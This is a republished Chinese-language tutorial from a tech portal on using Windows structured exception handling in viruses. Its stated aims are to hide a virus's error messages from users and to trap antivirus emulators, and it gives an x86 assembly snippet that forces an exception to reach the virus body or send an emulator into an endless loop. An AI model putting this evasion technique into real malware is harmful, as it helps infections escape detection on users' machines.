Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > SEH 於病毒的應用
【标  题】:SEH 於病毒的應用
【关键字】:病毒,SE,SEH
【来  源】:网络

SEH 於病毒的應用

Your Ad Here  SEH 於病毒的應用
前話:

由於小弟技術很爛,有錯的地方,請多多指正,不要客氣。謝謝啦…這篇文章是我的第一篇,可能會錯誤百出,所以不要期待這是一篇好文章。希望能共同進步!

*這篇文章隻出於研究病毒用途,請不要用此技術制造具有破壞性的病毒。謝謝!如有任何人用此技術造成任何破壞,於本人無關!


簡介:

SEH 是什麼?不知道是什麼東東的話,就先去看看hume寫的《SEH in ASM 的研究》或者《Win32 Exception handling for assembler programmers by Jeremy Gordon》,再回來看這篇爛文章吧!


1.為什麼要在病毒裡使用seh呢?

任何程序都有可能有錯誤出現的,在我們的病毒裡也是一樣。病毒通常是用戶在不知不覺下做手腳,如果我們的病毒出了錯,那麼就有可能彈出一個個討厭的錯誤信息框,這樣一來我們的病毒就沒有什麼意思了。不被用戶察覺是十分重要的,所以我們要用SEH來處理我們病毒裡有可能出現的錯誤。這是 SEH 於病毒中的應用之一,相信你在看完成SEH 的文章後,應該知道怎樣使用SEH去處理在病毒裡所產生的異常。

在我們的病毒裡還有一樣很重要的是--避免被偵察到,不然我們的病毒在開始運行的時候就被發現和殺掉,那麼我們的心血就泡湯了!所以我們要令我們的病毒不容易給 反病毒引擎 發現。

當一個程序運行時,反病毒引擎會模擬程序的代碼,如果它找到的疑點多的話,那麼這個程序大多是被病毒感染了!這時反病毒引擎會做出適當的處理。所以我們可以在病毒裡使用SEH設計一個陷阱給AVs的Emulator。這樣就可避免被捕!哈哈!


2.如何用SEH於你的病毒去搞定Emulator?


o當!o當!入正題!既然它那麼喜歡要模擬我們的代碼,我們就在病毒一開始就安裝一個SEH,該處理異常程序就是我們的病毒,然後製造一個異常。這樣就進入異常處理程序(我們的病毒)繼續執行。而仿真器卻會以為是這是個普通異常處理程序,但是有些AVs會在遇到錯誤代碼之后試圖繼續模擬下一個指令,那麼我們就讓它進入一個死循環!哈哈!How? 看看下面的代碼:

*部分代碼是引用benny's polymorphic engine

start:call Set_SEH;這句其實就是 push offset CONTINUE
; JMP Set_SEH
CONTINUE:mov esp, [esp+8];恢復堆棧, 當一個異常產生時,系統會掛起程序,並呼叫處理程序,
;傳送處理程序的參數裡,在[ESP+8]處儲存的是舊的堆棧的地址

push offset Start_Virus ;----_ 把Start_Virus 的地址壓進堆棧裡,當作返回地址
ret;---- 跟著來一個ret,跳到Start_Virus去,是不是很magic?


Set_SEH:sub edx, edx ;Edx =0

;如果你使用的是masm,應該加下面一句,不然就會引起編譯錯誤
;Assume fs:nothing

push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 結構的指針壓到堆棧
mov fs:[edx], esp;安裝一個seh 框架
mov [edx],edx;注意這裡引起一個異常,因為edx=0, 所以會引起一個讀寫內存沖突的異常,

;如果Emulator 不理會異常,不進入seh 處理程序(即 CONTINUE: ),繼續模
;擬下個指令,也就是jmp start,那麼就會進入一個死循環,這可能會造成當
jmp start ;機


Start_Virus: .....
.....

自己試試看吧!
明白了嗎?不明白?沒關系,沒有什麼人什麼都懂,寫信給我,我們來討論一下吧!我的qq:50527053,icq 72424549
email:henrynote@msn.com

*後話
SEH 的應用很廣,不隻是在病毒裡有用(廢話),最常用的當然是用來處理在可預知的異常,SEH 技術也可以用於
返跟蹤等等!
寫這篇的文章的目的是為了和各位初學者分享學習結果,我也是初學者,希望能與大家一同進步。
在這裡要感謝很多人,所有幫助過我的朋友,有鼓勵我寫這篇文章的-老羅,還有很多大哥。

病毒基础系列(1):【上一篇】
中文拨号上网计时计费器 V4.12注册算法分析(5):【下一篇】
【相关文章】
  • 病毒基础系列(1)
  • 病毒基础系列(2)
  • 病毒基础系列(3)
  • 封杀QQ消息连发器病毒
  • PC病毒发病机理:感染-潜伏-繁殖-发作(3)
  • WinZIP.Self.Extractor.v2.2.Final注册机
  • 宽带Web服务器(ADSLWebServer) V1.2
  • Turbo browser
  • windows 2000 wmi service buffer overflow expolit
  • ClapSE 3.0
  • 【随机文章】
  • Postfix + Cyrus-IMAP + Cyrus-SASL + MySQL + IMP 完全指南(6)
  • 适用于初级网管的几则网络安全小知识
  • 正则表达式的学习笔记
  • ORACLE常用命令[ 来自:oracle中国 ]
  • Debian安装ADSL
  • Dreamweaver处理word文档有妙招
  • CCNA实验题总结(转载自中国IT认证实验室)
  • 发两个自己写的首页调用文章很实用的函数
  • 入侵检测(IDS)系统(5)
  • 收藏经典:windows消息大全四
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.